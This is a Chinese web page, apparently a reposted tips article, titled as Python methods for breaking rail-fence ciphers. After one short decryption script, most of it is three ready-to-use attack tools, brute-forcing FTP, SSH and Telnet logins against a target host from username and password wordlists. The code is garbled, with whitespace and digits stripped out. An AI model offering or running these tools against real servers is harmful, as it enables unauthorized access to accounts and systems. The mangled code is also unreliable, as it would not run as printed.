位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 小世界怎么看浏览记录(怎么在小世界里面看历史记录)

    小世界怎么看浏览记录(怎么在小世界里面看历史记录)

  • 华为荣耀v10闪存怎么样(荣耀v10内存和闪存的型号)

    华为荣耀v10闪存怎么样(荣耀v10内存和闪存的型号)

  • 华为手机微信分身怎么弄(华为手机微信分身怎么删除)

    华为手机微信分身怎么弄(华为手机微信分身怎么删除)

  • 微博主页没有相册选项(微博个人主页看不到相册)

    微博主页没有相册选项(微博个人主页看不到相册)

  • 拼多多好友为什突然不显示了(拼多多好友为什么自动加)

    拼多多好友为什突然不显示了(拼多多好友为什么自动加)

  • 淘宝退款理由选择其他对卖家有影响么(淘宝退款理由选择缺货对卖家有影响么)

    淘宝退款理由选择其他对卖家有影响么(淘宝退款理由选择缺货对卖家有影响么)

  • 电脑文件怎么重命名(电脑文件怎么重命名后缀)

    电脑文件怎么重命名(电脑文件怎么重命名后缀)

  • 国内怎样可以登youtube(国内怎样可以登youtube账号)

    国内怎样可以登youtube(国内怎样可以登youtube账号)

  • 小米主题服务暂时不可用(小米主题服务暂无法使用)

    小米主题服务暂时不可用(小米主题服务暂无法使用)

  • pr反选快捷键是什么(pr向后选择快捷键)

    pr反选快捷键是什么(pr向后选择快捷键)

  • 如何判断空调压缩机是否工作(如何判断空调压缩机坏了?)

    如何判断空调压缩机是否工作(如何判断空调压缩机坏了?)

  • word表格怎么调整行高(word表格怎么调整到一页)

    word表格怎么调整行高(word表格怎么调整到一页)

  • 京东ip截图在哪找(京东购物截图生成)

    京东ip截图在哪找(京东购物截图生成)

  • 手机怎么设置闹钟(手机怎么设置闹钟铃声)

    手机怎么设置闹钟(手机怎么设置闹钟铃声)

  • 手机怎么设置路由器(手机怎么设置路由器wifi密码192.168.1.1)

    手机怎么设置路由器(手机怎么设置路由器wifi密码192.168.1.1)

  • 快手作品b类违规封几天(快手作品b类违规吗)

    快手作品b类违规封几天(快手作品b类违规吗)

  • 长沙有没有5g网络(长沙有5g网络覆盖的区域)

    长沙有没有5g网络(长沙有5g网络覆盖的区域)

  • 一直播账户能注销吗(一直播账号)

    一直播账户能注销吗(一直播账号)

  • 天猫精灵怎么设置应答(天猫精灵怎么设置打电话给别人)

    天猫精灵怎么设置应答(天猫精灵怎么设置打电话给别人)

  • 哈佛结构和冯诺依曼结构的区别(哈佛结构和冯诺依曼结构优缺点)

    哈佛结构和冯诺依曼结构的区别(哈佛结构和冯诺依曼结构优缺点)

  • 大白菜U盘启动盘制作工具怎么安装win10系统 大白菜u盘安装win10系统图文教程(大白菜u盘启动后黑屏)

    大白菜U盘启动盘制作工具怎么安装win10系统 大白菜u盘安装win10系统图文教程(大白菜u盘启动后黑屏)

  • yolov7模型训练结果分析以及如何评估yolov7模型训练的效果(yolov5模型训练)

    yolov7模型训练结果分析以及如何评估yolov7模型训练的效果(yolov5模型训练)

  • 装修设计合同印花税
  • 个人所得税 补觉
  • 以前年度损益调整属于哪类科目
  • 专票小数点没打印齐能用吗
  • 接受固定资产捐赠发生的运费的是否计入资产成本
  • 捐赠利得会计分录
  • 外购的材料用于在建工程进项税额
  • 原材料入库单运费要怎么计入?
  • 营业外支出税前扣除比例是多少
  • 清单申报和专项申报的区别
  • 增值税小规模纳税人减免增值税
  • 电子发票一定要入账吗
  • 个人所得税需要计提吗?怎么做会计分录
  • 票据贴现手续费发票可以抵扣吗
  • 生产企业是否可以兼营外贸业务
  • 店铺拆除费用
  • 进项税额转出的
  • 合并报表的所得税税率
  • 没有及时对公账户
  • 固定资产无偿移交怎么做账
  • 出口货物退免税凭证资料应当保存几年
  • 其他应付款的会计分录
  • 结转收入怎么计算
  • 招标场地费怎么收
  • ErrorCaptureStackTrace(err); Error [ERR_MODULE_NOT_FOUND]: Cannot find module
  • 如何确定销售数量
  • chrome谷歌浏览器
  • 个人所得税计提基数公式
  • php框架yii
  • php处理xml数据
  • Pytorch深度学习实战3-7:详解数据加载DataLoader与模型处理
  • 商品房测绘收费标准
  • 新建利润表
  • 个人终止投资经营的条件
  • 出售无形资产净收益计入什么科目
  • mongodb最新版本
  • 2021增值税发票怎么开步骤
  • 政府补助会计处理方法
  • 外购存货的初始成本由买价加采购费用构成
  • 企业内部控制的概念
  • c#获取局域网ip
  • 短期偿债能力是企业的任何利益关系人都
  • 非营利性养老院收费标准一般是多少
  • 零余额账户用款额度是什么意思
  • 递延税款科目怎样使用
  • 成品油发票如何作废
  • 物业费会计科目怎么做
  • 已认证的增值税专用发票退票
  • 合同终止已开发怎么办
  • 银行代扣水费分录
  • 项目开票分录
  • 未开票收入下月开票会计分录
  • 资产处置损益在资产负债表哪里
  • 小规模纳税人如何缴纳企业所得税
  • 工程公司存货包括哪些科目
  • 如何登记现金日记账视频
  • 公司的残保金是分摊到员工身上的吗
  • 电脑待机状态下载会继续吗
  • wrapper.exe是什么
  • 电脑无法启动windows7
  • win8 网络连接
  • win7取消还原
  • win7电脑老是自动重启怎么回事
  • vsftpd教程
  • perl 比较符
  • js原型继承和构造继承
  • setcontentview报错
  • Node.js中的construct构造函数
  • div+css布局是什么
  • 批处理文件是将需要连续使用的可多次重复使用的
  • 蓝牙协议栈包括
  • Unity-DF 2048界面
  • bootstrap js插件
  • js为什么不能用var定义变量
  • 税务徽标含义
  • 福建电子税务局社保缴费操作
  • 扬州国家税务学院在哪个区
  • 江西车辆购置税查询网
  • 中国税务网发票怎么开
  • 税务系统全面从严
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设